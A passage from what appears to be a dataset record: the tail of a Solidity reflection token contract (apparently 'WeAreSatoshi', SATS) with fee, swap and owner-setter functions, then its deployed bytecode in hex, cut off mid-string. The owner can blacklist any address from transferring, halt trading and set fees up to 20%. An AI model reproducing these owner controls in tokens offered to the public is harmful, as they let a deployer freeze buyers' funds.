if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 100000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612ebb565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f8c565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fe4565b61087b565b604051610264919061303f565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130b9565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130e3565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130fe565b6108ce565b6040516102f7919061303f565b60405180910390f35b34801561030c57600080fd5b506103156109a7565b60405161032291906130e3565b60405180910390f35b34801561033757600080fd5b506103406109ad565b60405161034d919061316d565b60405180910390f35b34801561036257600080fd5b5061036b6109b6565b6040516103789190613197565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131b2565b6109dc565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061320b565b610acc565b005b3480156103df57600080fd5b506103e8610b7e565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131b2565b610c4f565b60405161041e91906130e3565b60405180910390f35b34801561043357600080fd5b5061043c610ca0565b005b34801561044a57600080fd5b5061046560048036038101906104609190613238565b610df3565b005b34801561047357600080fd5b5061047c610ea1565b60405161048991906130e3565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131b2565b610ea7565b6040516104c691906130e3565b60405180910390f35b3480156104db57600080fd5b506104e4610ebf565b6040516104f19190613197565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c919061320b565b610ee8565b005b34801561052f57600080fd5b50610538610f9a565b60405161054591906130e3565b60405180910390f35b34801561055a57600080fd5b50610563610fa0565b6040516105709190612f8c565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613238565b610fdd565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613265565b61107c565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fe4565b611277565b6040516105ff919061303f565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131b2565b611295565b60405161063c919061303f565b60405180910390f35b34801561065157600080fd5b5061065a6112b5565b005b34801561066857600080fd5b50610683600480360381019061067e9190613327565b61138e565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613387565b6114c8565b6040516106b991906130e3565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613238565b61154f565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131b2565b6115ee565b005b61071c6117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090613413565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd613433565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613491565b9150506107ac565b5050565b60606040518060400160405280600c81526020017f57654172655361746f7368690000000000000000000000000000000000000000815250905090565b600061088f6108886117b0565b84846117b8565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000664a9b6384488000905090565b60006108db848484611983565b61099c846108e76117b0565b6109978560405180606001604052806028815260200161411a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094d6117b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122089092919063ffffffff16565b6117b8565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e46117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890613413565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad46117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5890613413565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bbf6117b0565b73ffffffffffffffffffffffffffffffffffffffff161480610c355750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1d6117b0565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3e57600080fd5b6000479050610c4c8161226c565b50565b6000610c99600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d8565b9050919050565b610ca86117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90613413565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfb6117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90613413565b60405180910390fd5b655af3107a4000811115610e9e57806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef06117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7490613413565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f5341545300000000000000000000000000000000000000000000000000000000815250905090565b610fe56117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106990613413565b60405180910390fd5b8060188190555050565b6110846117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890613413565b60405180910390fd5b60008410158015611123575060048411155b611162576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111599061354c565b60405180910390fd5b60008210158015611174575060148211155b6111b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111aa906135de565b60405180910390fd5b600083101580156111c5575060048311155b611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fb90613670565b60405180910390fd5b60008110158015611216575060148111155b611255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124c90613702565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128b6112846117b0565b8484611983565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f66117b0565b73ffffffffffffffffffffffffffffffffffffffff16148061136c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113546117b0565b73ffffffffffffffffffffffffffffffffffffffff16145b61137557600080fd5b600061138030610c4f565b905061138b81612346565b50565b6113966117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141a90613413565b60405180910390fd5b60005b838390508110156114c257816005600086868581811061144957611448613433565b5b905060200201602081019061145e91906131b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114ba90613491565b915050611426565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115576117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db90613413565b60405180910390fd5b8060178190555050565b6115f66117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90613413565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea90613794565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f90613826565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188f906138b8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197691906130e3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ea9061394a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5a906139dc565b60405180910390fd5b60008111611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d90613a6e565b60405180910390fd5b611aae610ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1c5750611aec610ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0757601560149054906101000a900460ff16611bab57611b3d610ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba190613b00565b60405180910390fd5b5b601654811115611bf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be790613b6c565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c945750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cca90613bfe565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d805760175481611d3584610c4f565b611d3f9190613c1e565b10611d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7690613ce6565b60405180910390fd5b5b6000611d8b30610c4f565b9050600060185482101590506016548210611da65760165491505b808015611dbe575060158054906101000a900460ff16155b8015611e185750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e305750601560169054906101000a900460ff165b8015611e865750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611edc5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0457611eea82612346565b60004790506000811115611f0257611f014761226c565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fae5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120615750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120605750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561206f57600090506121f6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561211a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213257600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121dd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f557600a54600c81905550600b54600d819055505b5b612202848484846125cc565b50505050565b6000838311158290612250576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122479190612f8c565b60405180910390fd5b506000838561225f9190613d06565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d4573d6000803e3d6000fd5b5050565b600060065482111561231f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231690613dac565b60405180910390fd5b60006123296125f9565b905061233e818461262490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561237d5761237c612d1a565b5b6040519080825280602002602001820160405280156123ab5781602001602082028036833780820191505090505b50905030816000815181106123c3576123c2613433565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561246557600080fd5b505afa158015612479573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061249d9190613de1565b816001815181106124b1576124b0613433565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b8565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161257c959493929190613f07565b600060405180830381600087803b15801561259657600080fd5b505af11580156125aa573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125da576125d961266e565b5b6125e58484846126b1565b806125f3576125f261287c565b5b50505050565b6000806000612606612890565b9150915061261d818361262490919063ffffffff16565b9250505090565b600061266683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128ec565b905092915050565b6000600c5414801561268257506000600d54145b1561268c576126af565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126c38761294f565b95509550955095509550955061272186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280281612a5f565b61280c8483612b1c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161286991906130e3565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000664a9b638448800090506128c2664a9b638448800060065461262490919063ffffffff16565b8210156128df57600654664a9b63844880009350935050506128e8565b81819350935050505b9091565b60008083118290612933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292a9190612f8c565b60405180910390fd5b50600083856129429190613f90565b9050809150509392505050565b600080600080600080600080600061296c8a600c54600d54612b56565b925092509250600061297c6125f9565b9050600080600061298f8e878787612bec565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612208565b905092915050565b6000808284612a109190613c1e565b905083811015612a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4c9061400d565b60405180910390fd5b8091505092915050565b6000612a696125f9565b90506000612a808284612c7590919063ffffffff16565b9050612ad481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b31826006546129b790919063ffffffff16565b600681905550612b4c81600754612a0190919063ffffffff16565b6007819055505050565b600080600080612b826064612b74888a612c7590919063ffffffff16565b61262490919063ffffffff16565b90506000612bac6064612b9e888b612c7590919063ffffffff16565b61262490919063ffffffff16565b90506000612bd582612bc7858c6129b790919063ffffffff16565b6129b790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c058589612c7590919063ffffffff16565b90506000612c1c8689612c7590919063ffffffff16565b90506000612c338789612c7590919063ffffffff16565b90506000612c5c82612c4e85876129b790919063ffffffff16565b6129b790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c885760009050612cea565b60008284612c96919061402d565b9050828482612ca59190613f90565b14612ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cdc906140f9565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d5282612d09565b810181811067ffffffffffffffff82111715612d7157612d70612d1a565b5b80604052505050565b6000612d84612cf0565b9050612d908282612d49565b919050565b600067ffffffffffffffff821115612db057612daf612d1a565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612df182612dc6565b9050919050565b612e0181612de6565b8114612e0c57600080fd5b50565b600081359050612e1e81612df8565b92915050565b6000612e37612e3284612d95565b612d7a565b90508083825260208201905060208402830185811115612e5a57612e59612dc1565b5b835b81811015612e835780612e6f8882612e0f565b845260208401935050602081019050612e5c565b5050509392505050565b600082601f830112612ea257612ea1612d04565b5b8135612eb2848260208601612e24565b91505092915050565b600060208284031215612ed157612ed0612cfa565b5b600082013567ffffffffffffffff811115612eef57612eee612cff565b5b612efb84828501612e8d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f3e578082015181840152602081019050612f23565b83811115612f4d576000848401525b50505050565b6000612f5e82612f04565b612f688185612f0f565b9350612f78818560208601612f20565b612f8181612d09565b840191505092915050565b60006020820190508181036000830152612fa68184612f53565b905092915050565b6000819050919050565b612fc181612fae565b8114612fcc57600080fd5b50565b600081359050612fde81612fb8565b92915050565b60008060408385031215612ffb57612ffa612cfa565b5b600061300985828601612e0f565b925050602061301a85828601612fcf565b9150509250929050565b60008115159050919050565b61303981613024565b82525050565b60006020820190506130546000830184613030565b92915050565b6000819050919050565b600061307f61307a61307584612dc6565b61305a565b612dc6565b9050919050565b600061309182613064565b9050919050565b60006130a382613086565b9050919050565b6130b381613098565b82525050565b60006020820190506130ce60008301846130aa565b92915050565b6130dd81612fae565b82525050565b60006020820190506130f860008301846130d4565b92915050565b60008060006060848603121561311757613116612cfa565b5b600061312586828701612e0f565b935050602061313686828701612e0f565b925050604061314786828701612fcf565b9150509250925092565b600060ff82169050919050565b61316781613151565b82525050565b6000602082019050613182600083018461315e565b92915050565b61319181612de6565b82525050565b60006020820190506131ac6000830184613188565b92915050565b6000602082840312156131c8576131c7612cfa565b5b60006131d684828501612e0f565b91505092915050565b6131e881613024565b81146131f357600080fd5b50565b600081359050613205816131df565b92915050565b60006020828403121561322157613220612cfa565b5b600061322f848285016131f6565b91505092915050565b60006020828403121561324e5761324d612cfa565b5b600061325c84828501612fcf565b91505092915050565b6000806000806080858703121561327f5761327e612cfa565b5b600061328d87828801612fcf565b945050602061329e87828801612fcf565b93505060406132af87828801612fcf565b92505060606132c087828801612fcf565b91505092959194509250565b600080fd5b60008083601f8401126132e7576132e6612d04565b5b8235905067ffffffffffffffff811115613304576133036132cc565b5b6020830191508360208202830111156133205761331f612dc1565b5b9250929050565b6000806000604084860312156133405761333f612cfa565b5b600084013567ffffffffffffffff81111561335e5761335d612cff565b5b61336a868287016132d1565b9350935050602061337d868287016131f6565b9150509250925092565b6000806040838503121561339e5761339d612cfa565b5b60006133ac85828601612e0f565b92505060206133bd85828601612e0f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133fd602083612f0f565b9150613408826133c7565b602082019050919050565b6000602082019050818103600083015261342c816133f0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061349c82612fae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134cf576134ce613462565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e